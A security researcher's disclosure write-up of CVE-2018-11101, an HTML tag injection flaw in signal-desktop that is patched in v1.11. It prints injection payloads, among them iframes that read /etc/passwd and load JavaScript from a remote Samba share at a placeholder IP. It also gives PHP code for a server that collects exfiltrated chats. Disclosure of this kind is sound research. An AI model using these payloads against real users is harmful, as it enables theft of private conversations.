signal-desktop HTML tag injection variant 2

This is a new story about how another casual conversation uncovered a huge security hole in one of the most reliable messaging services.

New story time for CVE-2018-11101

TL;DR: upgrade to signal-desktop v1.11+

After publishing the advisory and write-up for CVE-2018-10994, I was contacted on Twitter by Matt Bryant (@IAmMandatory), with whom I was having conversations since Alfredo showed the first PoC and told me: “I could still pop [the vuln] in the patched [version]” and advised me to try the following: write a message with HTML content and simply reply to it. Holly shit!

You can read Matt’s write-up at his blog.

We immediately proceeded to contact again the Signal Security Team and they told us that they were aware of it and were already rolling out a new, refactored, release (v1.11.0), which solved this and the previous issue in a better way.

During my previous research, I also discovered that there was a missing CSP directive related to iframes that would have deter this attack, and I was thinking to do a PR but this came out so I recommended its implementation in the advisory we sent by email, and the Signal team applied right away.

Basically, the attack was the same except you needed two messages: the injection and the reply. The reply (quoted message) can have any text, as shown in the screenshot.

Some examples

  • Show an iframe with some text:
    <iframe srcdoc="<p>PWONED!!</p>"></iframe>
  • Display content of user’s own /etc/passwd file:
    <iframe src="/etc/passwd"></iframe>
  • Include and auto execute a remote JavaScript file (for Windows clients):
    <iframe src="\\XXX.XXX.XXX.XXX\Temp\test.html"></iframe>
  • Show a displacing base64-encoded image (bypass “click to download image”):
    <marquee><img src="data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD/2wBDACgcHiMeGSgjISMtKygwPGRBPDc3PHtYXUlkkYCZlo+AjIqgtObDoKrarYqMyP/L2u71////m8H////6/+b9//j/wAALCAAtADwBAREA/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/9oACAEBAAA/AMapRbv5YckKD0z1pPJbjJAzSGIgjcQMnFEkZSTZkE+1STWksTKrAZbpThYzfLuAUN3JFJ9kkyeV4PrTBFyNzCpSGuZiRgY4ArRgtAvzSfMfSqN3EYpjsA2noTg1B87HlqNrnqxP40nlt6ml8pvWo/MY/wARqzAzcEVorK24RuAAw4IqLUo2EKFFJIOM9azN8oOMkfhTz9oVdxDhfWlR3ZOWJ/Gpdzep/OqVTQEq2MVpo4aNWABKHnNLIzNHGW7OST6DFZ92wEoAGAvX3qNrl/KaEH5CePaliPyYqVTwKrIu41O1u0Z4BP06irUDKiky5DYx04p8sxddpwFA6etZcrFnJPepLa2NwSFPIoQbQVPUHFTLjFUskd6d5j/3m/Ok3sf4j+dG9j/EfzpKVXZPusR9DSZPrS7j6mv/2Q=="/></marquee>

The alert PoC

A remote alert:

A better PoC

I wanted to show how dangerous this kind of attacks are, both variants, so I wrote a PoC that exfiltrates messages: it can send the attacker every conversation the victim has in the app.

Example of an exfiltrated conversation

For this to work, the attacker needs to mount a public samba share with readable content and place a file, say exfiltrate.html in it with the following content:

Note: I know it’s poorly coded, I’m sorry about it but it works and it’s a PoC.

And here’s the server code:

<?php

define('DATADIR', 'data_d33c3cfe-c52c-4cff-98ed-caf1d9771320');
define('DATALIMIT', 4000);  // unset or 0 for no limit

$key = filter_input(INPUT_POST, 'key', FILTER_SANITIZE_STRING);
$data = filter_input(INPUT_POST, 'data', FILTER_SANITIZE_STRING);

if (!empty($data) and !empty($key) and ($key === 'mchrmhiossrgxhxis')) {
    if (preg_match('%^[a-zA-Z0-9/+]*={0,2}$%', $data)) {
        // base64
        $data = base64_decode($data);
    }
    if (!empty(DATALIMIT) and strlen($data) > DATALIMIT) {
        $data = substr($data, 0, DATALIMIT);
    }
    $filename = date('Y-m-d_Hi') . '_' . bin2hex(random_bytes(5)) . '.txt';
    $datafile = DATADIR . '/' . $filename;
    file_put_contents($datafile, 'Server date: ' . date('Y-m-d H:i:s') . "\nData:\n" . $data . "\n", FILE_APPEND);
    die('OK');
}

header('HTTP/1.0 403 Forbidden');
die('<h1>Access denied</h1>');

Unrelated note: never compare a key with a string, use a KDF and libsodium for constant-time operations.

Then, the attacker sends the unsuspecting victim the following message: <iframe src="\\xx.xx.xx.xx\poc\exfiltate.html"></iframe>. Finally, the attacker replies quoting that message, triggering the vuln (for the previous one, the attacker would send http://hacktheplanet/?p=%3Ciframe%20src="\\xx.xx.xx.xx\poc\exfiltate.html"%3E%3C/iframe%3E). That’s it, victim PWONED.

Thanks to exos for participating in this PoC video.

A new video

We received some comments from a Signal developer, Josh Lund, claiming that this vulnerability wasn’t remotely exploitable:

Exploiting this requires the attacker to first manually place malware (a malicious JavaScript file) on your computer or on a Samba network share that your computer is already connected to.

That claim make us look like we weren’t saying the truth, so I made a new video – thanks for making me work some more on my vacations – proving otherwise.

Thanks Javier for creating the public Samba share and making this video possible.

The video shows what we stated before: the victim, unable to do anything, gets pwned by the attacker with a payload in a remote Samba share (located in the USA, the victim being in Brasil). That payload exfiltrates all of the conversations the victim has had, defeating the purpose of having an encrypted chat. In short, it’s remote 0-click code execution through HTML tag injection pwning. To clarify, we never mentioned anything about System RCE, that is, being able to execute a remote shell or opening calc.exe. We did try that path but were unsuccessful and didn’t pursued any more. As I mentioned in the first write-up, we managed to produce segfaults in Alfredo’s machine, but couldn’t reproduce them in my machine. So it might be possible to get System RCE, though it requires further investigation.

I tweeted about the making of this video and before it was published, Josh publicly apologized and the team emailed us apologizing too, so as I answered them: apology accepted.

I would love to see someone else reproducing our findings :). It’s really easy, you just need a publicly accessible Samba share with the PoC file there and just execute the exploit as seen in the video.

Timeline

  • 2018-05-14 19:00 GMT-3: vuln discovered
  • 2018-05-14 20:00 GMT-3: emailed Signal security team
  • 2018-05-14 20:21 GMT-3: reply from Signal: vuln confirmed & patch ongoing
  • 2018-05-14 21:47 GMT-3: signal-desktop update published
  • 2018-05-16 11:00 GMT-3: public disclosure

Advisory

Read the advisory here.

Credits

This vulnerability was found and researched by Barrera Oro, Iván Ariel (@HacKanCuBa), Bryant, Matt (@IAmMandatory), Ortega, Alfredo (@ortegaalfredo) and Rizzo, Juliano (@julianor), with assistance from Smaldone, Javier (@mis2centavos).